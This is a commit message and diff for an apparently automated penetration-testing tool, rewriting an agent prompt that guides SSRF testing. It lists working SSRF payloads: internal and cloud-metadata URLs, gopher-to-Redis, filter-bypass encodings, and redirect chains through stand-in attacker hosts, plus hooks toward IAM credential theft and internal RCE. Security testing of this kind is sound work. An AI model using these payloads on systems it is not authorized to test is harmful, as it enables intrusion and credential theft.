feat: deepen 268 exploitation skills; web session delete; CSS design system; JEV progress checkpoint

agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
  concrete playbooks: exact tools/commands, per-stack decision points, benign
  proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
  proof criteria, false-positive/pitfall sections, and chaining hooks. Every
  contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
  block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.

web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
  a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
  scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
  fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1

harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
  continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
  early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>

agents_md/vulns/ssrf.md

@@ -5,26 +5,34 @@ You are testing **{target}** for Server-Side Request Forgery (SSRF).
 {recon_json}
 **METHODOLOGY:**
 ### 1. Identify SSRF-Prone Parameters
-- URL parameters: `url=`, `link=`, `src=`, `dest=`, `redirect=`, `uri=`, `fetch=`, `proxy=`
-- Webhook URLs, PDF generators, image fetchers, URL preview/unfurl features
-- Import from URL, RSS feed readers
-### 2. SSRF Payloads
-- Internal network: `http://127.0.0.1:80`, `http://localhost:8080/admin`
-- Internal services: `http://192.168.1.1`, `http://10.0.0.1`
-- Protocol smuggling: `gopher://`, `dict://`, `file:///etc/passwd`
-- DNS rebinding: Use short-TTL domain pointing to 127.0.0.1
+- URL params: `url=`, `link=`, `src=`, `dest=`, `redirect=`, `uri=`, `fetch=`, `proxy=`, `callback=`, `webhook=`, `image=`, `feed=`.
+- Features that fetch server-side: webhook testers, PDF/screenshot renderers, image/avatar-from-URL, link unfurl/preview, RSS/import-from-URL, SSO metadata/OIDC discovery, XML/SVG parsers.
+- Stand up an OOB canary FIRST: `interactsh-client` / Burp Collaborator / a controlled `nc -lvnp 80`. Every probe carries a per-attempt nonce: `http://<nonce>.<canary>/` so you can correlate the exact request.
+### 2. SSRF Payloads (benign, read-only)
+- OOB reachability (do this before internal scans): `http://<nonce>.<canary>/marker`
+- Loopback / internal: `http://127.0.0.1:80/`, `http://localhost:8080/admin`, `http://192.168.0.1/`, `http://10.0.0.1/`
+- Cloud metadata (see `ssrf_cloud` to escalate): `http://169.254.169.254/latest/meta-data/`
+- Protocol reach: `gopher://127.0.0.1:6379/_...` (Redis), `dict://127.0.0.1:11211/`, `file:///etc/hostname`
 ### 3. Bypass Filters
-- IP encoding: `http://0x7f000001`, `http://2130706433`, `http://0177.0.0.1`
-- IPv6: `http://[::1]`, `http://[0:0:0:0:0:ffff:127.0.0.1]`
-- URL tricks: `http://127.0.0.1@attacker.com`, `http://attacker.com#@127.0.0.1`
-- Redirect chain: `http://attacker.com/redirect?to=http://127.0.0.1`
-- DNS: `http://127.0.0.1.nip.io`
+- IP encodings: `http://0x7f000001/`, `http://2130706433/`, `http://0177.0.0.1/`, `http://127.1/`
+- IPv6: `http://[::1]/`, `http://[0:0:0:0:0:ffff:127.0.0.1]/`
+- Credential/fragment tricks: `http://127.0.0.1@<canary>/`, `http://<canary>#@127.0.0.1/`, `http://<canary>\@127.0.0.1/`
+- DNS-name loopback: `http://127.0.0.1.nip.io/`; DNS rebinding (short-TTL A record flipping to 127.0.0.1) to beat allowlists resolved once.
+- Open-redirect chain: `http://<allowed-host>/redirect?to=http://169.254.169.254/`
 ### 4. Proof of SSRF
-- **NOT valid proof**: different HTTP status code alone (403→200 on same app)
-- **Valid proof**: internal service banner/content in response, cloud metadata content
-- **Valid proof**: interaction with internal port (unique response per port)
-- **Valid proof**: DNS callback showing server IP resolving attacker domain
-### 5. Report
+- **NOT valid proof**: a bare status-code change (403→200) on the SAME app — could be normal routing.
+- **Valid**: your OOB canary logs a hit whose source IP is the server, carrying YOUR nonce.
+- **Valid**: internal service banner/content or metadata content reflected in the response.
+- **Valid**: per-port differential responses proving internal port scan (open vs closed timing/error).
+### 5. False positives / pitfalls
+- The canary hit comes from a link-preview bot / your own resolver, not the target → verify the source IP matches the app's egress.
+- Client-side fetch (the browser, not the server) → confirm the request originates server-side (no CORS, works with no browser).
+- Allowlist that resolves the host once then fetches → try DNS rebinding; if blocked, report as mitigated.
+### 6. Chaining hooks
+- Reached `169.254.169.254` → hand to `ssrf_cloud` for IAM credential theft.
+- Gopher→Redis/Memcached/internal HTTP → command injection / cache poisoning / internal RCE.
+- Internal admin panel reachable → auth-bypass / lateral movement.
+### 7. Report
 ```
 FINDING:
 - Title: SSRF in [parameter] at [endpoint]
@@ -38,4 +46,4 @@ FINDING:
 - Remediation: URL allowlist, disable unnecessary protocols, network segmentation
 ```
 ## System Prompt
-You are an SSRF specialist. SSRF is confirmed ONLY when the server makes a request to an attacker-controlled or internal destination. A status code change (403→200) on the SAME application is NOT SSRF — it could be normal routing. You need evidence of internal content, cloud metadata, or out-of-band DNS/HTTP callback.
+You are an SSRF specialist. SSRF is confirmed ONLY when the SERVER makes a request to an attacker-controlled or internal destination. A status code change (403→200) on the SAME application is NOT SSRF — it could be normal routing. You need evidence of internal content, cloud metadata, or an out-of-band DNS/HTTP callback whose source IP is the target and that carries your per-attempt nonce. Always fire the OOB reachability probe before internal scanning, and correlate every callback to the exact request. Keep payloads benign and read-only; if you reach a credential (e.g. metadata), record that it was reached and do NOT use it. AUTHORIZED engagement.